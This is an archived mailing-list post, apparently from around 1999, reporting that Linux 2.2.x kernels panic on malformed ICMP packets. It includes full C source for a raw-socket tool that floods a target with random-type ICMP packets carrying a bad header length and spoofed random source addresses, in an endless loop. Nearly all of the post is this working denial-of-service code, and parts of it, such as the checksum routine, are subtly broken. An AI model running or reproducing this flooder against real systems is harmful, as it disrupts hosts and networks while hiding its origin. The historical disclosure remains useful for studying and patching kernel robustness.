I'm sorry if this has been noticed before, but since I did't find anything
in the archives, I post it here.
There seems to be a bug in kernels 2.2.x (tested on 2.2.7 and 2.2.9), that
causes them to panic when they are sent a large number of specific ICMP
packages. I think the problem comes from the combination of the mangled
header length (shorter or longer ihl's don't cause hangup) and the random
ICMP packets (random type/subtype and source address) this program sends.
Windows 9x and FreeBSD 3.0 seem to be unaffected.
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Here is the program source (under Linux):
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
struct icmp_hdr
{
struct iphdr iph;
struct icmp icp;
char text[1002];
} icmph;
int in_cksum(int *ptr, int nbytes)
{
long sum;
u_short oddbyte, answer;
sum = 0;
while (nbytes > 1)
{
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1)
{
oddbyte = 0;
*((u_char *)&oddbyte) = *(u_char *)ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
struct sockaddr_in sock_open(char *address, int socket, int prt)
{
struct hostent *host;
if ((host = gethostbyname(address)) == NULL)
{
perror("Unable to get host name");
exit(-1);
}
struct sockaddr_in sin;
bzero((char *)&sin, sizeof(sin));
sin.sin_family = PF_INET;
sin.sin_port = htons(prt);
bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length);
return(sin);
}
void main(int argc, char **argv)
{
int sock, i, ctr, k;
int on = 1;
struct sockaddr_in addrs;
if (argc < 3)
{
printf("Usage: %s <ip_addr> <port>\n", argv[0]);
exit(-1);
}
for (i = 0; i < 1002; i++)
{
icmph.text[i] = random() % 255;
}
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
{
perror("Can't set IP_HDRINCL option on socket");
}
if (sock < 0)
{
exit(-1);
}
fflush(stdout);
for (ctr = 0;ctr < 1001;ctr++)
{
ctr = ctr % 1000;
addrs = sock_open(argv[1], sock, atoi(argv[2]));
icmph.iph.version = 4;
icmph.iph.ihl = 6;
icmph.iph.tot_len = 1024;
icmph.iph.id = htons(0x001);
icmph.iph.ttl = 255;
icmph.iph.protocol = IPPROTO_ICMP;
icmph.iph.saddr = ((random() % 255) * 255 * 255 * 255) +
((random() % 255) * 65535) +
((random() % 255) * 255) +
(random() % 255);
icmph.iph.daddr = addrs.sin_addr.s_addr;
icmph.iph.frag_off = htons(0);
icmph.icp.icmp_type = random() % 14;
icmph.icp.icmp_code = random() % 10;
icmph.icp.icmp_cksum = 0;
icmph.icp.icmp_id = 2650;
icmph.icp.icmp_seq = random() % 255;
icmph.icp.icmp_cksum = in_cksum((int *)&icmph.icp, 1024);
if (sendto(sock, &icmph, 1024, 0, (struct sockaddr *)&addrs, sizeof(struct sockaddr)) == -1)
{
if (errno != ENOBUFS) printf("X");
}
if (ctr == 0) printf("b00m ");
fflush(stdout);
}
close(sock);
}
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:48:02 PDT